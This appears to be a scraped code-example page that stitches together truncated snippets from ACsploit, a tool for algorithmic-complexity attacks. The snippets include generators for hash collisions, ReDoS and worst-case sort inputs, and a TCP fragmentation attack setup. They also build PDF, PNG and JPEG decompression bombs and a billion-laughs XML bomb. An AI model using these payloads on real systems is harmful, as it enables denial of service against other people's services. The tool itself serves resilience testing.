Ejemplo n.º 1
0
 def download_file(self, url, path):
     ''' Downloads an single url. '''
     o = Options()
     o.add_option('--output-document', path)
     self.url = url
     self.prepare_command(o)
     self._download_file(url, path)
Ejemplo n.º 2
0
class FloatGenerator:

    INPUT_NAME = "float"

    def __init__(self):
        """Initialize the Float Generator."""
        self.options = Options()
        self.options.add_option('min_value', 0.0, 'Minimum floating point value allowed')
        self.options.add_option('max_value', 255.0, 'Maximum floating point value allowed')

        self._min = 0.0
        self._max = 255.0

    def prepare(self):
        """Sets max, min based on _options; called before generator is used with an exploit."""
        self._min = self.options['min_value']
        self._max = self.options['max_value']

    def get_less_than(self, value):
        """Returns a float less than the given value."""
        if value > self._max:
            return self._max
        if value <= self._min:
            raise ValueError('No valid values less than {}'.format(value))
        # return average of _min and value
        return self._min / 2 + value / 2

    def get_greater_than(self, value):
        """Returns a float greater than the given value."""
        if value < self._min:
            return self._min
        if value >= self._max:
            raise ValueError('No valid values greater than {}'.format(value))
        # return average of _max and value
        return self._max / 2 + value / 2

    def get_max_value(self):
        """Return the max character value."""
        return self._max

    def get_min_value(self):
        """Return the min character value."""
        return self._min

    def get_random(self):
        """Returns a random float."""
        return random.uniform(self._min, self._max)

    def is_valid(self, value):
        """Returns True if the float is a valid value between the min and max values (inclusive)."""
        return self._min <= value <= self._max and type(value) is float

    def get_list_of_values(self, num_values):
        """Returns a list of floats."""
        # not technically guaranteed to be unique, but collisions are highly unlikely
        return [random.uniform(self._min, self._max) for _ in range(num_values)]
Ejemplo n.º 3
0
 def download_new_files(self, downloader, episodes):
     logging.info("Subscriptions.download_new_files")
     queue = self.prepare_queue(episodes)
     if len(queue) > 0:
         o = Options()
         o.add_option('--directory-prefix', self._data_subdir())
         if self.limitrate:
             o.add_option('--limit-rate',
                                   self.limitrate)
         downloader.download_queue(queue, o)
Ejemplo n.º 4
0
class RegexMatchGenerator:
    """Regex Generator"""

    INPUT_NAME = 'regex'

    def __init__(self):
        """Initialize the Regex Generator."""
        self.options = Options()
        self.options.add_option('regex', '.*', 'Generated strings will match this regex')

    def get_random(self):
        """Returns a random string matching the regex"""
        return exrex.getone(self.options['regex'])

    def get_random_list(self, num_values):
        """Returns a list of num_values random strings matching regex; note that matches may be repeated"""
        return [exrex.getone(self.options['regex']) for _ in range(num_values)]

    def get_list_of_values(self, num_values):
        """Returns a list of num_values strings matching regex; note that strings that match in
        multiple ways may be repeated (e.g. regex 'a|a|a' would yield 'a' as a match three times)"""
        regex_gen = exrex.generate(self.options['regex'])
        try:
            return [next(regex_gen) for _ in range(num_values)]
        except StopIteration:
            raise ValueError('Fewer than {} regex matches could be generated'.format(num_values))

    def is_valid(self, candidate):
        """Returns true if valid."""
        return re.match(self.options['regex'], candidate) is not None

    def get_max_value(self):
        raise NotImplementedError('Regex input generator cannot generate maximum values')

    def get_min_value(self):
        raise NotImplementedError('Regex input generator cannot generate minimum values')

    def get_greater_than(self, value):
        raise NotImplementedError('Regex input generator cannot generate relative values')

    def get_less_than(self, value):
        raise NotImplementedError('Regex input generator cannot generate relative values')
Ejemplo n.º 5
0
class File:
    """File class."""

    OUTPUT_NAME = 'file'

    _SEPARATORS = {
        'newline': '\n',
        'comma': ',',
        'space': ' ',
        'tab': '\t',
        'os_newline': os.linesep
    }

    def __init__(self):
        """Initialize the File class."""
        self.options = Options()
        self.options.add_option('filename', 'acsploit_output.dat',
                                'The name of the file to write to')
        # TODO: add more formats
        self.options.add_option('separator', 'newline',
                                'Separator between elements',
                                list(self._SEPARATORS.keys()), True)
        self.options.add_option('format', 'plaintext',
                                'The format to write output in',
                                ['plaintext', 'binary', 'sv', 'template'])
        self.options.add_option('final_newline', True,
                                'Whether to end the file with a newline')
        self.options.add_option('number_format', 'decimal',
                                'Format for numbers',
                                ['decimal', 'hexadecimal', 'octal'])
        self.options.add_option(
            'template_file', None,
            'Template file to use when "format" is "template"')
        self.options.add_option(
            'template_pattern', '<ACSPLOIT>',
            'Replacement pattern in template file, marks where the payload will be copied'
        )
        self.options.add_option(
            'replace_first_only', False,
            'Whether to replace only the first occurrence of template_pattern or all occurrences'
        )

    def output(self, output_list):
        """Create file output."""
        output_path = os.path.expanduser(self.options['filename'])
        separator = output_common.get_separator(self.options['separator'],
                                                self._SEPARATORS)
        if self.options['format'] == 'binary':
            with open(output_path, 'wb') as output_file:
                self.write_binary_file(output_list, output_file)
        else:
            with open(output_path, 'w') as output_file:
                if self.options['format'] == 'plaintext':
                    self.write_plaintext_file(output_list, output_file,
                                              separator)
                elif self.options['format'] == 'sv':
                    self.write_sv_file(output_list, output_file, separator)
                elif self.options['format'] == 'template':
                    if self.options['template_file'] is None:
                        raise ValueError(
                            'Must set "template_file" to use "template" format'
                        )
                    self.write_template_file(output_list, output_file,
                                             separator,
                                             self.options['template_file'],
                                             self.options['template_pattern'])

                if self.options['final_newline'] and self.options[
                        'format'] != 'template':
                    output_file.write(os.linesep)

    def write_plaintext_file(self, output_list, output_file, separator):
        """Write plaintext payload data to output file."""
        output_file.write(
            separator.join([self.convert_item(item) for item in output_list]))

    def write_template_file(self, output_list, output_file, separator,
                            template, pattern):
        output = separator.join(
            [self.convert_item(item) for item in output_list])
        final_output = output_common.process_template(
            template, output, pattern, self.options['replace_first_only'])
        output_file.write(final_output)

    def write_binary_file(self, output_list, output_file):
        """Write binary payload data to output file."""
        # for a binary file, we don't want to be adding in our own lineseps
        for item in output_list:
            output_file.write(item)

    def write_sv_file(self, output_list, output_file, separator):
        """Write sv file."""
        # treat lists of lists as rows x cols
        if all(type(item) is list for item in output_list):
            # take each inner list, glue it together with the separator, then glue these together with os.linesep
            lines = [
                separator.join(self.convert_item(subitem) for subitem in item)
                for item in output_list
            ]
            output_file.write(os.linesep.join(lines))

        else:
            output_file.write(
                separator.join(
                    [self.convert_item(item) for item in output_list]))

    def convert_item(self, item):
        """Convert output to hexadecimal or octal."""
        # NB: this doesn't recurse onto lists
        if type(item) is int:
            if self.options['number_format'] == 'hexadecimal':
                item = hex(item)
            elif self.options['number_format'] == 'octal':
                item = oct(item)
        return str(item)
Ejemplo n.º 6
0
from options import Options
from .java_common import generate_via_half_string_merge, java_hash

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('hash_table_size', 2**32, 'Size of target hash table')
options.add_option(
    'target_type', 'preimage',
    'Whether the target is an image (hash output) or preimage (hash input)',
    ['image', 'preimage'])
options.add_option('target', 'hello',
                   'Image or preimage of desired hash value')

DESCRIPTION = 'Produces hash collisions for the Java hash function.' \
              '\n\n  ' \
              'Uses a slower and more memory intensive technique but generates smaller strings. See ' \
              'java_fast for a more efficient option.'

DEFAULT_INPUT = 'char'


def run(generator, output):
    forbidden_string = ''
    if options['target_type'] == 'preimage':
        target = java_hash(options['target'], options['hash_table_size'])
        forbidden_string = options['target']
    else:
        target = int(options['target'])

    ret = generate_via_half_string_merge(generator, target,
                                         options['n_collisions'],
Ejemplo n.º 7
0
import copy
import itertools
import multiprocessing as mp
import os
import re
import time

from scipy.optimize import curve_fit
import tqdm

from options import Options
from . import regex_common

options = Options()
options.add_option('regex', 'your_regex', 'Regex to exploit, if vulnerable')
options.add_option(
    'regex_file', 'your_file',
    'File containing newline separated regular expressions to exploit')
options.add_option(
    'use_file', False,
    'Whether to use the file of regular expressions or the single user supplied expression'
)
options.add_option(
    'show_progress_bar', False,
    'Whether to show a progress bar showing how much of ' +
    'the file has been processed, only valid when use_file is True')
options.add_option(
    'show_only_vulnerable', True,
    'Whether to show only the vulnerable regular expressions, only valid when use_file is True'
)
options.add_option('max_length', 25,
Ejemplo n.º 8
0
import z3
from options import Options
from .z3_common import get_collisions

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('length', 10, 'Length of strings to create')
options.add_option('hash_table_size', 100, 'Size of target hash table')
options.add_option('width', 16, 'Bit-width of Fletcher checksum', [16, 32, 64])
options.add_option(
    'target_type', 'preimage',
    'Whether the target is an image (hash output) or preimage (hash input)',
    ['image', 'preimage'])
options.add_option('target', 'hello',
                   'Image or preimage of desired hash value')

DESCRIPTION = 'Produces hash collisions for the fletcher checksum function.' \
              '\n\n  ' \
              'This exploit works by using z3 to "solve" for hash collisions. An implementation of the Fletcher ' \
              'checksum for z3 is used to generate a constraint system that z3 solves to find colliding hash inputs.'

NO_INPUT = True


def run(output):
    ret = get_collisions(
        z3fletcher, options['target'], options['target_type'],
        options['length'], options['n_collisions'], options['hash_table_size'],
        (2**(options['width'] / 2)) - 1)  # eg, fletcher16 => 255
    output.output(ret)
Ejemplo n.º 9
0
class CharGenerator:
    """Character generator"""

    INPUT_NAME = "char"

    def __init__(self):
        """Initialize the Chracter generator."""
        self.options = Options()
        self.options.add_option('min_value', 'a',
                                'Minimum ASCII character to use')
        self.options.add_option('max_value', 'z',
                                'Maximum ASCII character to use')
        self.options.add_option('restrictions', '',
                                'String of characters to exclude')
        self.options.add_option(
            'use_whitelist', False,
            'If true, only generate characters from the whitelist')
        self.options.add_option(
            'whitelist', '',
            'String of characters to generate from if use_whitelist is True')

        # char_set will be a sorted valid set of characters given the constraints set in options
        # char_set must be updated by calling prepare() if options change
        self._char_set = string.ascii_lowercase

    def prepare(self):
        """Update the character set."""
        self._char_set = [c for c in string.printable if self.is_valid(c)]
        self._char_set.sort()

    def get_min_value(self):
        """Return the min character value."""
        return self._char_set[
            0]  # options[min_value] could be in restrictions, so we don't just return that

    def get_max_value(self):
        """Return the max character value."""
        return self._char_set[
            -1]  # options[max_value] could be in restrictions, so we don't just return that

    def is_valid(self, candidate):
        """Returns true if character is valid."""
        whitelist = self.options['use_whitelist']
        if whitelist:
            return candidate in self.options['whitelist']
        else:
            min_val = self.options['min_value']
            max_val = self.options['max_value']
            restrictions = self.options['restrictions']
            return min_val <= candidate <= max_val and candidate not in restrictions

    def get_less_than(self, value):
        """Returns a character less than the given value."""
        result = None
        for c in self._char_set:
            if c >= value:
                break
            result = c
        if result is None:
            raise ValueError(
                'No valid value exists less than {}'.format(value))
        return result

    def get_greater_than(self, value):
        """Returns a character greater than the given value."""
        for c in self._char_set:
            if c > value:
                return c

        raise ValueError('No valid value exists greater than {}'.format(value))

    def get_random(self):
        """Returns a random character set."""
        return random.choice(self._char_set)

    def get_char_set(self):
        """Returns a character set."""
        return self._char_set

    def get_list_of_values(self, num_values):
        """Returns a string with length num_values starting from min_value"""
        if num_values > len(self._char_set):
            raise ValueError('Fewer than {} unique values'.format(num_values))

        return self._char_set[:num_values]
Ejemplo n.º 10
0
class Socket:
    """Socket class."""

    OUTPUT_NAME = 'socket'  # exploits can use this internally to whitelist/blacklist supported output formats

    _SEPARATORS = {  # as bytes because socket.sendall() requires bytes
        'newline': b'\n',
        'comma': b',',
        'space': b' ',
        'tab': b'\t',
        'os_newline': bytes(os.linesep.encode()),
        'CRLF': b'\r\n'
    }

    _VERSIONS = {'IPv4': socket.AF_INET, 'IPv6': socket.AF_INET6}

    _BANNER_LENGTH = 1024

    def __init__(self):
        """Initialize the Socket class."""
        self.options = Options()
        self.options.add_option('host', '127.0.0.1', 'Host to connect to')
        self.options.add_option('port', 80, 'Port to connect to')
        self.options.add_option('ip_version', 'IPv4', 'Version of IP to use',
                                ['IPv4', 'IPv6'])
        self.options.add_option('separator', 'newline',
                                'Separator between elements',
                                list(self._SEPARATORS.keys()), True)
        self.options.add_option(
            'final_separator', False,
            'Whether to end output with an instance of the separator')
        self.options.add_option(
            'await_banner', False,
            'Receive a banner message from the server before sending data')
        self.options.add_option('number_format', 'decimal',
                                'Format for numbers',
                                ['decimal', 'hexadecimal', 'octal'])

    def output(self, output_list):
        """Create a socket stream and send the payload as output."""
        separator = output_common.get_separator(self.options['separator'],
                                                self._SEPARATORS)
        line = separator.join(
            [self.convert_item(item) for item in output_list])
        if self.options['final_separator']:
            line += separator
        protocol = Socket._VERSIONS[self.options['ip_version']]
        # TODO: handle exceptions?
        s = socket.socket(protocol, socket.SOCK_STREAM)
        s.connect((self.options['host'], self.options['port']))
        if self.options['await_banner']:
            s.recv(Socket._BANNER_LENGTH)
        s.sendall(line)
        s.close()

    def convert_item(self, item):
        """Convert output to hexadecimal or octal."""
        # NB: this doesn't recurse onto lists
        if type(item) is int:
            if self.options['number_format'] == 'hexadecimal':
                item = hex(item)
            elif self.options['number_format'] == 'octal':
                item = oct(item)
        if type(item) is not bytes:
            item = str(item).encode(
            )  # TODO: this is a bit of a hack, to put it mildly

        return item
Ejemplo n.º 11
0
import os
from options import Options
import time

try:
    default_interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
except Exception:
    default_interface = None

try:
    is_admin = os.getuid() == 0
except AttributeError:
    is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0

options = Options()
options.add_option('target_ip', None, 'Target IP address')
options.add_option('target_port', 443, 'Target port')
options.add_option('interface', default_interface,
                   'The local interface the attack should be sent on')
options.add_option(
    'simultaneous_connections', multiprocessing.cpu_count(),
    'The number of simultaneous connections to maintain during the attack')
options.add_option('time', 60, 'Number of seconds to perform the attack')
options.add_option('payload_size', 10000,
                   'Size of a single attack payload, repeatedly sent')
options.add_option('initial_fragmented_segments', 3000,
                   'Number of segments to send that are initially fragmented')
options.add_option(
    'response_timeout', 1,
    'Time in seconds to wait for TCP handshake response from target')
Ejemplo n.º 12
0
import zlib

from options import Options

options = Options()
options.add_option(
    'target_payload_memory', 134217728,
    'Desired size of decompressed pdfstream in bytes (maximum 8GB). Memory ceiling for time-effect bomb.'
)
options.add_option(
    'time_multiplier', 1,
    'Gives an additive effect to time usage, but may reduce max memory consumption. Set to 1 for no additional time effect (memory only)'
)

DESCRIPTION = 'Produces a pdf decompression bomb using pdfstream objects.\n\n  Based on a description provided by Didier ' \
              'Stevens (https://blog.didierstevens.com/2008/05/19/pdf-stream-objects/), we produced two variants of a ' \
              'pdf bomb. If the "time_multiplier" option is set to 1, then a pdf bomb is constructed where the document ' \
              'contains pdfstreams that are decompressed using the FlateDecode filter (in a cascade of 3 FlateDecodes). ' \
              'This will cause an AC memory effect on most pdf parsers. We also include the option of extending this ' \
              'attack into an AC time attack (by setting time_multiplier > 1) In that case, we produce pdfstream objects' \
              ' that are referenced multiple times within the page whose individual final memory consumption is 1/(2^8) the' \
              ' target_payload_memory. This is accomplished by following the FlateDecode filters with valid ASCIIHexDecode' \
              ' filters, each of which reduce the final filtered payload size by 1/2. What makes this version of the bomb ' \
              'possible is the fact that 0x33 -> "3" in ASCII, which allows any number of ASCIIHexDecode filters to be ' \
              'run in sequence against a sufficiently long sequence of all "3"s.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'}

CANNED_BOMBS = [
Ejemplo n.º 13
0
from .deflate import max_deflate_png
from options import Options

options = Options()
options.add_option('width', 225000,
                   'Desired width of uncompressed PNG in pixels')
options.add_option('height', 225000,
                   'Desired height of uncompressed PNG in pixels')

DESCRIPTION = 'Generates a PNG bomb.' \
              '\n\n  ' \
              'The PNG file output expands immensely when loaded into memory by certain applications. ' \
              'We construct a custom PNG file from scratch, inserting a DEFLATE compression bomb, as DEFLATE ' \
              'is the underlying compression used in PNG.'

# NOTE: We looked at using the pypng library for this instead of the custom deflate code
# While the png code is significantly simpler, it also takes significantly longer to run
# because the png library uses zlib for compression, whereas the custom implementation knows
# that the input is all zero bytes and thus can write out the compressed data directly

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'}


def run(output):
    ret = max_deflate_png(options['width'], options['height'])
    output.output([ret])
Ejemplo n.º 14
0
from options import Options

options = Options()
options.add_option('n_inputs', 10, 'Number of elements to sort')

DESCRIPTION = (
    'Produces a worst-case input set for insertionsort'
    '\n\n  Generates a reverse sorted list on which insertionsort will run in O(n^2) time.'
)


def run(generator, output):
    # Insertion sort worst case is reverse ordered
    output.output(descending_list(generator, options['n_inputs']))


def descending_list(generator, n_inputs):
    output = [generator.get_max_value()]

    for i in range(1, n_inputs):
        output.append(generator.get_less_than(output[i - 1]))
    return output
Ejemplo n.º 15
0
from options import Options
import struct
import os

options = Options()
options.add_option('width', 25500, 'Reported width of JPEG in pixels')
options.add_option('height', 25500, 'Reported height of JPEG in pixels')

DESCRIPTION = 'Produces a JPEG image whose header indicates a large size.' \
              '\n\n  ' \
              'The header actually indicates an incorrect size, since there is no data in the image file. ' \
              'This will cause high resource consumption in image parsers that allocate memory based off the declared ' \
              'image size in the header at the beginning of their parsing. Credit to https://bomb.codes.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'}


def run(output):
    height = options['height']
    width = options['width']

    if height < 0 or width < 0:
        raise ValueError("Width and height must be positive")
    elif height > 65535 or width > 65535:
        raise ValueError("Width and height must be below 65535")

    output.output([create_bad_jpeg(width, height)])

Ejemplo n.º 16
0
import math
import os

from options import Options

options = Options()
options.add_option('memory_impact', 1000.0, 'Target memory use in MB')

DESCRIPTION = 'Produces an XML file that implements the billion laughs recursive entity attack.\n\n  ACSploit produces ' \
              'XML bombs similar to those described on wikipedia (https://en.wikipedia.org/wiki/Billion_laughs_attack) with' \
              'each entity containing 10 references to the previous entity. Target memory usage in MB can be set with the ' \
              '"memory_impact" option.'

# TODO: reject too small memory_impact values; are there too large memory impact values?

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False}


def run(output):
    xml = generate_xml(options['memory_impact'] * 10**6)
    output.output([xml])


def format_level(level_num, entities_per_level=10):
    entities = '&lol{};'.format(level_num - 1) * entities_per_level
    return '  <!ENTITY lol{} "{}">'.format(level_num, entities)


def generate_xml(target_size):
Ejemplo n.º 17
0
import itertools
from options import Options

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('length', 10, 'Length of strings to create')
options.add_option(
    'substring_length', 4,
    'Length of substrings to use. Exponential in time and memory.')
options.add_option(
    'target_type', 'preimage',
    'Whether the target is an image (hash output) or preimage (hash input)',
    ['image', 'preimage'])
options.add_option('target', 'hello',
                   'Image or preimage of desired hash value')

DESCRIPTION = 'Produces hash collisions for the 32-bit Python 2 string hash function' \
              '\n\n' \
              'Uses a memory-intensive technique that generates fixed-length strings. ' \
              'Based on a technique published by Alexander ‘alech’ Klink and Julian | zeri at 28C3. ' \
              '(See https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html for details.)'

DEFAULT_INPUT = 'char'

# to find collisions for the 64-bit python hash change HASH_MODULUS to 2**64 and RING_INVERSE to 16109806864799210091
# NB: finding 64-bit collisions via this method is so slow as to be practically useless and so is unsupported
HASH_MODULUS = 2**32  # derived from the bit-width of the python executable
RING_INVERSE = 2021759595  # the inverse of 1_000_003 % HASH_MODULUS


def run(generator, output):
Ejemplo n.º 18
0
from options import Options

options = Options()
options.add_option('order', 2,
                   'Order n of linear program (aka number of equations)')
options.add_option(
    'mu', 3.0,
    'Determines `shape` of constraint region (Must be >= 3.0; Epsilon = 1/mu)')
options.add_option('pivot_type', 'largest_coefficient', 'Choice of pivot rule',
                   ['largest_coefficient', 'smallest_index'])


DESCRIPTION = 'Produces a worst-case input (Klee-Minty) for the simplex algorithm for linear programming.' \
              '\n\n  Klee-Minty examples have exponential runtime for classical pivot rules.' \
              'Examples taken from Linear Programming: Klee-Minty Examples by Konstantinos Paparrizos, ' \
              'Nikolaos Samaras, and Dimitrios Zissopoulos'

NO_INPUT = True


def run(
    output
):  # generates worst case input to the classic simplex algorithm (as shown by Klee and Minty)
    ret = get_simplex(options['order'], options['mu'], options['pivot_type'])
    output.output(ret)


def get_simplex(order, mu, pivot_type):
    if mu < 3.0:
        raise ValueError('mu must be at least 3.0')
    if pivot_type == 'smallest_index':
Ejemplo n.º 19
0
from options import Options

options = Options()
options.add_option('string_length', 120, 'Length of string to generate')

DESCRIPTION = 'Produces a worst-case string for line-breaking algorithms' \
              '\n\n  ' \
              'Fits as many words as possible into the string_length constraint, maximizing the number of possible ' \
              'line breaks considered.'

DEFAULT_INPUT = 'char'


def run(generator, output):
    target_length = options['string_length']
    word = str(generator.get_min_value())
    repetitions = target_length // (len(word) + 1)
    ret = ' '.join([word] * repetitions)
    output.output([ret])
Ejemplo n.º 20
0
from options import Options

options = Options()
options.add_option('library', "zxcvbn",
                   'The library to target with worst-case passwords',
                   ['zxcvbn', 'nbvcxz'])
options.add_option('length', 100, 'Length of password')

DESCRIPTION = 'Produces worst-case input for the zxcvbn password validation algorithm, targeting 1337 character replacement' \
              '\n\n  The algorithm is already O(n^2) due to checking every single substring of the password. ' \
              'Maximizing the leet characters in the password increases the cost of checking each substring.'

NO_INPUT = True

# We found that by utilizing ALL leet characters, some zxcvbn implementations take longer to process the password
LEETCHARS = "4@8({[<3691!|170$5%2"
# This may not be precisely the worst case, as it's unclear what role some other matchers play in extending the length
NBVCXZ = "4@8({[</369&#!1/|0$5+7%2/"


def run(output):
    ret = generate_password(options['library'], options['length'])
    output.output([ret])


def repeat_to_length(string_to_expand, length):
    return (string_to_expand *
            (int(length / len(string_to_expand)) + 1))[:length]


def generate_password(target, length):
Ejemplo n.º 21
0
from options import Options


options = Options()
options.add_option('function', 'search', 'The tree function', ['search', 'min', 'max', 'insert', 'delete'])
options.add_option('n_inputs', 10, 'Number of nodes in tree')

DESCRIPTION = 'Produces a worst-case set of inputs for various operations on a Binary Search Tree.' \
              '\n\n  ' \
              'Worst cases for the various operations of a Binary Search Tree all involve ' \
              'sorted lists, which maximize the depth of the tree.'


def run(generator, output):
    f = options['function']
    ret = []
    if f == 'search' or f == 'min' or f == 'delete':
        ret.append('Tree insertion order:')
        sorted = sorted_list(generator, options['n_inputs'])
        for s in sorted:
            ret.append(s)
        if f == 'search':
            ret.append('Search for : %s' % sorted[options['n_inputs']-1])
        elif f == 'delete':
            ret.append('Delete : %s' % sorted[options['n_inputs']-1])
    elif f == 'insert':
        ret.append('Tree insertion order:')
        sorted = sorted_list(generator, options['n_inputs']+1)
        for i in sorted[:-1]:
            ret.append(i)
        ret.append('Insert : %s' % sorted[-1])
Ejemplo n.º 22
0
import string
import z3

from options import Options

options = Options()
options.add_option('hash', '+ * x y z',
                   'The hash function to use, in prefix notation')
options.add_option(
    'target_type', 'image',
    'Whether to solve for inputs that hash to image or inputs that hash to the same value as preimage',
    ['image', 'preimage'])
options.add_option(
    'image', 0,
    'The target value to solve the inputs to the hash function for')
options.add_option('preimage', 'x = 4, y = 1, z = 1',
                   'The preimage values to hash, in the format VAR = VALUE')
options.add_option('variable_width', 32,
                   'Bit-width of variables in the hash function')
options.add_option('n_collisions', 10,
                   'The number of colliding inputs to solve for')

DESCRIPTION = 'Produces hash collisions for a custom hash function.' \
              '\n\n  ' \
              'This module allows you to define custom hash functions out of a collection of primitive operations ' \
              'and solve for collisions against them using z3. Hash functions are specified in prefix notation, using ' \
              'arbitrary variable names and the following operators: +, -, *, /, <<, >>, & (bit-wise AND), | (bit-wise OR), ' \
              'and ^ (bit-wise XOR). See custom_hashes.md for more details.'

NO_INPUT = True
Ejemplo n.º 23
0
class ACsploit(cmd2.Cmd):
    """An interactive command-line utility to generate worst-case inputs to commonly used algorithms."""

    intro = r"""
                             .__         .__  __
_____    ____   ____________ |  |   ____ |__|/  |_
\__  \ _/ ___\ /  ___/\____ \|  |  /  _ \|  \   __\
 / __ \\  \___ \___ \ |  |_> >  |_(  <_> )  ||  |
(____  /\___  >____  >|   __/|____/\____/|__||__|
     \/     \/     \/ |__|

"""

    # find all inputs, outputs, exploits
    inputs = get_inputs()
    outputs = get_outputs()
    exploits = get_exploits()

    def __init__(self, hist_file):
        """Initialization and setup of ACsploit."""
        self.setup_cmd2(hist_file)

        self.prompt = self.make_prompt()

        self.exploit = None
        self.exploit_name = ''
        self.input = None
        self.output = None
        self.options = Options()
        self.defaulted_options = []

        self.script_mode = False

    def setup_cmd2(self, hist_file):
        """"Set up interactive command line interface."""
        # delete unused commands that are baked-into cmd2 and set some options
        del cmd2.Cmd.do_py
        del cmd2.Cmd.do_edit
        del cmd2.Cmd.do_shortcuts
        del cmd2.Cmd.do_set
        del cmd2.Cmd.do_alias
        cmd2.Cmd.abbrev = True
        self.allow_cli_args = False  # disable parsing of command-line args by cmd2
        self.allow_redirection = False  # disable redirection to enable right shift (>>) in custom_hash to work
        self.redirector = '\xff'  # disable redirection in the parser as well

        # init cmd2 and the history file
        cmd2.Cmd.__init__(self,
                          persistent_history_file=hist_file,
                          persistent_history_length=200)

        # disable help on builtins
        self.hidden_commands.append('shell')
        self.hidden_commands.append('exit')

    def make_prompt(self, location=None):
        """Create the command line prompt."""
        prompt = '(acsploit : %s) ' % location if location is not None else '(acsploit) '
        return colorize(prompt, "blue")

    def complete_set(self, text, line, begidx, endidx):
        """Provide tab completion for the "set" option."""
        # text = line[begidx:endidx] is the word we want to complete
        # split the completed words, should either be ['set'], or ['set', <option_key>]
        split_line = line[:begidx].split()
        if len(split_line) == 1:
            return [
                option for option in self.get_option_names()
                if option.startswith(text) or '.' + text in option
            ]

        if len(split_line) == 2:
            key = split_line[1]
            options = self.get_options(key)
            if options is not None:
                scoped_key = key.split('.')[1] if '.' in key else key
                values = options.get_acceptable_values(scoped_key)
                if values is not None:
                    return [
                        value for value in values if value.startswith(text)
                    ]

        return []

    def complete_use(self, text, line, begidx, endidx):
        """Provide tab completion for the "use" option."""
        return self.delimiter_complete(text, line, begidx, endidx,
                                       ACsploit.exploits, '/')

    def get_option_names(self):
        """Returns the names of all options within current exploit, input , and output options."""
        # There are no options until the current exploit is set
        if self.exploit is None:
            return []

        option_names = self.options.get_option_names()

        if self.input is not None:
            option_names += [
                'input.' + option
                for option in self.input.options.get_option_names()
            ]

        if self.output is not None:
            option_names += [
                'output.' + option
                for option in self.output.options.get_option_names()
            ]

        if self.exploit is not None:
            option_names += [
                'exploit.' + option
                for option in self.exploit.options.get_option_names()
            ]

        return option_names

    def get_options(self, key):
        """Returns the options object containing the given key."""
        if key in self.options.get_option_names():
            return self.options

        try:
            scope, scoped_key = key.split('.')
        except ValueError:
            return None

        if scope == 'input' and scoped_key in self.input.options.get_option_names(
        ):
            return self.input.options
        elif scope == 'output' and scoped_key in self.output.options.get_option_names(
        ):
            return self.output.options
        elif scope == 'exploit' and scoped_key in self.exploit.options.get_option_names(
        ):
            return self.exploit.options
        else:
            return None

    def print_options(self, options, describe=False, indent_level=0):
        """Print available options and current values."""
        indent = '  ' * indent_level
        for option in options.get_option_names():
            line = colorize(option + ': ', 'green') + str(options[option])
            if describe:
                line += ' (' + options.get_description(option) + ')'
                values = options.get_acceptable_values(option)
                if values is not None:
                    line += ' (Acceptable Values: ' + str(values) + ')'
            eprint(indent + line)

    def fuzzy_equals(self, lhs, rhs):
        """Type-coerce to the type of rhs and then compare, Returns True if equals."""
        t = type(rhs)
        if t is bool:  # special case bool because bool() treats all strings as True
            return rhs is (lhs in Options.TRUE_VALUES)
        try:
            if rhs is None:
                return lhs is None
            return t(lhs) == rhs
        except ValueError:
            return False

    def do_info(self, args):
        """Displays the description of the selected exploit."""
        if self.exploit is None:
            eprint(
                colorize(
                    'No exploit set; nothing to describe. Select an exploit with the \'use\' command',
                    'cyan'))
        else:
            eprint(colorize('\n  ' + self.exploit.DESCRIPTION + '\n', 'green'))

    def do_options(self, args):
        """Displays options for the selected exploit. Use 'options describe' to see descriptions"""
        if args not in ['', 'describe']:
            eprint(colorize('Unsupported argument to options', 'red'))
            self.do_help('options')
            return

        if self.exploit is None:
            eprint(
                colorize(
                    'No exploit set; no options to show. Select an exploit with the \'use\' command',
                    'cyan'))
            return

        describe = args == 'describe'

        eprint()
        self.print_options(self.options, describe, indent_level=1)
        if self.input is not None:
            eprint(colorize('\n  Input options', 'green'))
            self.print_options(self.input.options, describe, indent_level=2)
        if self.output is not None:
            eprint(colorize('\n  Output options', 'green'))
            self.print_options(self.output.options, describe, indent_level=2)
        if self.exploit is not None:
            eprint(colorize('\n  Exploit options', 'green'))
            self.print_options(self.exploit.options, describe, indent_level=2)
        eprint()

    def do_exit(self, args):
        """Exit ACsploit."""
        self._should_quit = True
        return self._STOP_AND_EXIT

    def do_set(self, args):
        """Sets an option. Usage: set [option_name] [value]"""
        try:
            key, value = args.split(maxsplit=1)
        except ValueError:
            eprint('Usage: set [option_name] [value]')
            return

        no_option_msg = colorize('No option set', 'cyan')

        if key == 'debug':
            if value.lower() == 'true':
                self.debug = True
                eprint(colorize('debug => true', 'cyan'))
            elif value.lower() == 'false':
                self.debug = False
                eprint(colorize('debug => false', 'cyan'))
            else:
                eprint(
                    colorize(
                        '{} is not an acceptable value for option {}'.format(
                            value, key), 'red'))
                eprint(no_option_msg)
            return

        if key not in self.get_option_names():
            eprint(colorize('Option {} does not exist'.format(key), 'red'))
            eprint(no_option_msg)
            return

        options = self.get_options(
            key)  # this call should always succeed due to the check above
        scoped_key = key.split('.')[1] if '.' in key else key
        if not options.is_acceptable_value(scoped_key, value):
            if options.supports_custom(scoped_key) and value == 'custom':
                eprint(
                    colorize('value must be specified after \"custom\"',
                             'red'))
            else:
                eprint(
                    colorize(
                        '{} is not an acceptable value for option {}'.format(
                            value, key), 'red'))
            eprint(no_option_msg)
            return

        if self.fuzzy_equals(value, options[scoped_key]):
            eprint(
                colorize('Option {} is already set to {}'.format(key, value),
                         'cyan'))
            return

        if key in self.defaulted_options:
            if self.script_mode:  # in script mode, warn and continue
                eprint(
                    colorize(
                        'The following change may result in degraded exploit performance or failure',
                        'yellow'))
                self.defaulted_options.remove(
                    key
                )  # only warn the first time overwriting the defaulted option
            else:  # in interactive mode, prompt for confirmation
